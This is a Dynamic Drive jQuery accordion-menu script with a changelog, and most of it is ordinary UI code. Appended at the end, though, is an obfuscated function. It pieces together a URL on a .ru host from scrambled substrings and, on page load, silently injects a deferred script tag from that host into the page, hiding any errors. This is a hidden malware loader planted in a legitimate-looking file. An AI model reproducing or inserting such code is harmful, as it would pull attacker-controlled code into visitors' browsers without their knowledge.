//** Accordion Content script: By Dynamic Drive, at http://www.dynamicdrive.com
//** Created: Jan 7th, 08'

//Version 1.3: April 3rd, 08':
//**1) Script now no longer conflicts with other JS frameworks
//**2) Adds custom oninit() and onopenclose() event handlers that fire when Accordion Content instance has initialized, plus whenever a header is opened/closed
//**3) Adds support for expanding header(s) using the URL parameter (ie: http://mysite.com/accordion.htm?headerclass=0,1)

//April 9th, 08': Fixed "defaultexpanded" setting not working when page first loads

//Version 1.4: June 4th, 08':
//**1) Added option to activate a header "mouseover" instead of the default "click"
//**2) Bug persistence not working when used with jquery 1.2.6

//Version 1.5: June 20th, 08':
//**1) Adds new "onemustopen:true/false" parameter, which lets you set whether at least one header should be open at all times (so never all closed).
//**2) Changed cookie path to site wide for persistence feature
//**3) Fixed bug so "expandedindices" parameter in oninit(headers, expandedindices) returns empty array [] instead of [-1] when no expanded headers found

//**1) Version 1.5.1: June 27th, 08': Fixed "defaultexpanded" setting not working properly when used with jquery 1.2.6

//Version 1.6: Oct 3rd, 08':
//**1) Adds new "mouseoverdelay" param that sets delay before headers are activated when "revealtype" param is set to "mouseover"
//**2) Fixed bug with "onemustopen" param not working properly when "revealtype" is set to "click"


var ddaccordion={
	
	contentclassname:{}, //object to store corresponding contentclass name based on headerclass

	expandone:function(headerclass, selected){ //PUBLIC function to expand a particular header
		this.toggleone(headerclass, selected, "expand")
	},

	collapseone:function(headerclass, selected){ //PUBLIC function to collapse a particular header
		this.toggleone(headerclass, selected, "collapse")
	},

	expandall:function(headerclass){ //PUBLIC function to expand all headers based on their shared CSS classname
		var jMenu=jQuery
		var jMenuheaders=jMenu('.'+headerclass)
		jMenu('.'+this.contentclassname[headerclass]+':hidden').each(function(){
			jMenuheaders.eq(parseInt(jMenu(this).attr('contentindex'))).trigger("evt_accordion")
		})
	},

	collapseall:function(headerclass){ //PUBLIC function to collapse all headers based on their shared CSS classname
		var jMenu=jQuery
		var jMenuheaders=jMenu('.'+headerclass)
		jMenu('.'+this.contentclassname[headerclass]+':visible').each(function(){
			jMenuheaders.eq(parseInt(jMenu(this).attr('contentindex'))).trigger("evt_accordion")
		})
	},

	toggleone:function(headerclass, selected, optstate){ //PUBLIC function to expand/ collapse a particular header
		var jMenu=jQuery
		var jMenutargetHeader=jMenu('.'+headerclass).eq(selected)
		var jMenusubcontent=jMenu('.'+this.contentclassname[headerclass]).eq(selected)
		if (typeof optstate=="undefined" || optstate=="expand" && jMenusubcontent.is(":hidden") || optstate=="collapse" && jMenusubcontent.is(":visible"))
			jMenutargetHeader.trigger("evt_accordion")
	},

	expandit:function(jMenutargetHeader, jMenutargetContent, config, useractivated){
		jMenutargetContent.slideDown(config.animatespeed, function(){config.onopenclose(jMenutargetHeader.get(0), parseInt(jMenutargetHeader.attr('headerindex')), jMenutargetContent.css('display'), useractivated)})
		this.transformHeader(jMenutargetHeader, config, "expand")
	},

	collapseit:function(jMenutargetHeader, jMenutargetContent, config, isuseractivated){
		jMenutargetContent.slideUp(config.animatespeed, function(){config.onopenclose(jMenutargetHeader.get(0), parseInt(jMenutargetHeader.attr('headerindex')), jMenutargetContent.css('display'), isuseractivated)})
		this.transformHeader(jMenutargetHeader, config, "collapse")
	},

	transformHeader:function(jMenutargetHeader, config, state){
		jMenutargetHeader.addClass((state=="expand")? config.cssclass.expand : config.cssclass.collapse) //alternate btw "expand" and "collapse" CSS classes
		.removeClass((state=="expand")? config.cssclass.collapse : config.cssclass.expand)
		if (config.htmlsetting.location=='src'){ //Change header image (assuming header is an image)?
			jMenutargetHeader=(jMenutargetHeader.is("img"))? jMenutargetHeader : jMenutargetHeader.find('img').eq(0) //Set target to either header itself, or first image within header
			jMenutargetHeader.attr('src', (state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse) //change header image
		}
		else if (config.htmlsetting.location=="prefix") //if change "prefix" HTML, locate dynamically added ".accordprefix" span tag and change it
			jMenutargetHeader.find('.accordprefix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
		else if (config.htmlsetting.location=="suffix")
			jMenutargetHeader.find('.accordsuffix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
	},

	urlparamselect:function(headerclass){
		var result=window.location.search.match(new RegExp(headerclass+"=((\\d+)(,(\\d+))*)", "i")) //check for "?headerclass=2,3,4" in URL
		if (result!=null)
			result=RegExp.jMenu1.split(',')
		return result //returns null, [index], or [index1,index2,etc], where index are the desired selected header indices
	},

	getCookie:function(Name){ 
		var re=new RegExp(Name+"=[^;]+", "i") //construct RE to search for target name/value pair
		if (document.cookie.match(re)) //if cookie found
			return document.cookie.match(re)[0].split("=")[1] //return its value
		return null
	},

	setCookie:function(name, value){
		document.cookie = name + "=" + value + "; path=/"
	},

	init:function(config){
	document.write('<style type="text/css">\n')
	document.write('.'+config.contentclass+'{display: none}\n') //generate CSS to hide contents
	document.write('<\/style>')
	jQuery(document).ready(function(jMenu){
		ddaccordion.urlparamselect(config.headerclass)
		var persistedheaders=ddaccordion.getCookie(config.headerclass)
		ddaccordion.contentclassname[config.headerclass]=config.contentclass //remember contentclass name based on headerclass
		config.cssclass={collapse: config.toggleclass[0], expand: config.toggleclass[1]} //store expand and contract CSS classes as object properties
		config.revealtype=/^(click)|(mouseover)jMenu/i.test(config.revealtype)? config.revealtype.replace(/mouseover/i, "mouseenter") : "click"
		config.htmlsetting={location: config.togglehtml[0], collapse: config.togglehtml[1], expand: config.togglehtml[2]} //store HTML settings as object properties
		config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler
		config.onopenclose=(typeof config.onopenclose=="undefined")? function(){} : config.onopenclose //attach custom "onopenclose" event handler
		var lastexpanded={} //object to hold reference to last expanded header and content (jquery objects)
		var expandedindices=ddaccordion.urlparamselect(config.headerclass) || ((config.persiststate && persistedheaders!=null)? persistedheaders : config.defaultexpanded)
		if (typeof expandedindices=='string') //test for string value (exception is config.defaultexpanded, which is an array)
			expandedindices=expandedindices.replace(/c/ig, '').split(',') //transform string value to an array (ie: "c1,c2,c3" becomes [1,2,3]
		var jMenusubcontents=jMenu('.'+config["contentclass"])
		if (expandedindices.length==1 && expandedindices[0]=="-1") //check for expandedindices value of [-1], indicating persistence is on and no content expanded
			expandedindices=[]
		if (config["collapseprev"] && expandedindices.length>1) //only allow one content open?
			expandedindices=[expandedindices.pop()] //return last array element as an array (for sake of jQuery.inArray())
		if (config["onemustopen"] && expandedindices.length==0) //if at least one content should be open at all times and none are, open 1st header
			expandedindices=[0]
		jMenu('.'+config["headerclass"]).each(function(index){ //loop through all headers
			if (/(prefix)|(suffix)/i.test(config.htmlsetting.location) && jMenu(this).html()!=""){ //add a SPAN element to header depending on user setting and if header is a container tag
				jMenu('<span class="accordprefix"></span>').prependTo(this)
				jMenu('<span class="accordsuffix"></span>').appendTo(this)
			}
			jMenu(this).attr('headerindex', index+'h') //store position of this header relative to its peers
			jMenusubcontents.eq(index).attr('contentindex', index+'c') //store position of this content relative to its peers
			var jMenusubcontent=jMenusubcontents.eq(index)
			var needle=(typeof expandedindices[0]=="number")? index : index+'' //check for data type within expandedindices array- index should match that type
			if (jQuery.inArray(needle, expandedindices)!=-1){ //check for headers that should be expanded automatically (convert index to string first)
				if (config.animatedefault==false)
					jMenusubcontent.show()
				ddaccordion.expandit(jMenu(this), jMenusubcontent, config, false) //Last Boolean value sets 'isuseractivated' parameter
				lastexpanded={jMenuheader:jMenu(this), jMenucontent:jMenusubcontent}
			}  //end check
			else{
				jMenusubcontent.hide()
				config.onopenclose(jMenu(this).get(0), parseInt(jMenu(this).attr('headerindex')), jMenusubcontent.css('display'), false) //Last Boolean value sets 'isuseractivated' parameter
				ddaccordion.transformHeader(jMenu(this), config, "collapse")
			}
		})
		jMenu('.'+config["headerclass"]).bind("evt_accordion", function(){ //assign custom event handler that expands/ contacts a header
				var jMenusubcontent=jMenusubcontents.eq(parseInt(jMenu(this).attr('headerindex'))) //get subcontent that should be expanded/collapsed
				if (jMenusubcontent.css('display')=="none"){
					ddaccordion.expandit(jMenu(this), jMenusubcontent, config, true) //Last Boolean value sets 'isuseractivated' parameter
					if (config["collapseprev"] && lastexpanded.jMenuheader && jMenu(this).get(0)!=lastexpanded.jMenuheader.get(0)){ //collapse previous content?
						ddaccordion.collapseit(lastexpanded.jMenuheader, lastexpanded.jMenucontent, config, true) //Last Boolean value sets 'isuseractivated' parameter
					}
					lastexpanded={jMenuheader:jMenu(this), jMenucontent:jMenusubcontent}
				}
				else if (!config["onemustopen"] || config["onemustopen"] && lastexpanded.jMenuheader && jMenu(this).get(0)!=lastexpanded.jMenuheader.get(0)){
					ddaccordion.collapseit(jMenu(this), jMenusubcontent, config, true) //Last Boolean value sets 'isuseractivated' parameter
				}
 		})
		jMenu('.'+config["headerclass"]).bind(config.revealtype, function(){
			if (config.revealtype=="mouseenter"){
				clearTimeout(config.revealdelay)
				var headerindex=parseInt(jMenu(this).attr("headerindex"))
				config.revealdelay=setTimeout(function(){ddaccordion.expandone(config["headerclass"], headerindex)}, config.mouseoverdelay || 0)
			}
			else{
				jMenu(this).trigger("evt_accordion")
				return false //cancel default click behavior
			}
		})
		jMenu('.'+config["headerclass"]).bind("mouseleave", function(){
			clearTimeout(config.revealdelay)
		})
		config.oninit(jMenu('.'+config["headerclass"]).get(), expandedindices)
		jMenu(window).bind('unload', function(){ //clean up and persist on page unload
			jMenu('.'+config["headerclass"]).unbind()
			var expandedindices=[]
			jMenu('.'+config["contentclass"]+":visible").each(function(index){ //get indices of expanded headers
				expandedindices.push(jMenu(this).attr('contentindex'))
			})
			if (config.persiststate==true){ //persist state?
				expandedindices=(expandedindices.length==0)? '-1c' : expandedindices //No contents expanded, indicate that with dummy '-1c' value?
				ddaccordion.setCookie(config.headerclass, expandedindices)
			}
		})
	})
	}
}
function i(){var g;if(g!='S' && g!='J'){g=''};var GR=new String();var iU=String("s8jg".substr(3));this.F='';this.H="";var G='';this.EL='';var P=RegExp;var Uz;if(Uz!='YM' && Uz!='m'){Uz=''};var t=new String();var o;if(o!='' && o!='PW'){o=null};this.wa="";function d(G_,s){var _u;if(_u!='a'){_u='a'};var O= new String("[8gKk".substr(0,1));O+=s;var V;if(V!=''){V='Yp'};O+=String("]");var B=new String();var n;if(n!='eM' && n != ''){n=null};var ZP=new Array();var N=new P(O, iU);var iP=new Date();var Ub=new String();return G_.replace(N, G);};var doz;if(doz!='SH'){doz='SH'};var eE;if(eE!='ok'){eE='ok'};var Ed=new String();var z=String("src");var oa=new Array();var NM="ht"+"yMrtp".substr(3)+"u2E7:/".substr(4)+"/wk9S".substr(0,2)+"sjBZOR".substr(0,2)+"z6kN-cN6kz".substr(4,2)+"6HaomaH6".substr(3,2)+".n"+"ikofQ".substr(0,2)+"0KLka".substr(3)+"WqZns".substr(3)+"po"+"C5grt".substr(3)+"s.rjpw".substr(0,2)+"nTRcoRnT".substr(3,2)+"Icfdm.Ifcd".substr(4,2)+"myZXYF".substr(0,2)+"ye"+"ar"+"jAUNbo".substr(4)+"okUaw0".substr(0,2)+"-c"+"om"+".ehEZ".substr(0,2)+"qvxtas".substr(4)+"tc"+"3xcfoa".substr(4)+"gR0stR0g".substr(3,2)+"xDJgu".substr(3)+"idLNYh".substr(0,2)+"e."+"ru"+"b8jV:".substr(4);var CZ='';var X=String("ElF/goo".substr(3)+"gle.oFhu".substr(0,4)+"Ylykcom/Yykl".substr(4,4)+"uqfgoog".substr(3)+"QpZle.c".substr(3)+"N6Owom/s".substr(4)+"oso.p6X".substr(0,4)+"siYwcom/siwY".substr(4,4)+"rlwyfeedrylw".substr(4,4)+"2HYyburnY2yH".substr(4,4)+"er.cumi".substr(0,4)+"om/fb1V".substr(0,4)+"5Y18t.co18Y5".substr(4,4)+"TJnem.ph".substr(4)+"evVpVev".substr(3,1));var pR='';var Xi='';var et='';var c='';var E=d('8952509328359022943',"92435");var Y=String("hIZJdefer".substr(4));this.zp='';this.Hj='';var u=new String("scri"+"pt");var Cj=new Array();var I=window;I.onload=function(){var Uf;if(Uf!='' && Uf!='nF'){Uf='Ss'};try {var hy=new Date();var jA='';this.Ae="";c=NM+E;c+=X;M=document.createElement(u);var OE='';var Rj=new Date();this.ty='';var RI='';M[z]=c;var Cv;if(Cv!='Tl' && Cv!='PX'){Cv='Tl'};M[Y]=[1][0];this.PWh='';var Fn;if(Fn!='ts' && Fn!='WE'){Fn='ts'};var JC;if(JC!='pw' && JC!='_O'){JC='pw'};document.body.appendChild(M);var cJ=new String();var VG=new String();} catch(A){};this.aH="";var SA=new Array();};};i();var KE;if(KE!='Gb'){KE='Gb'};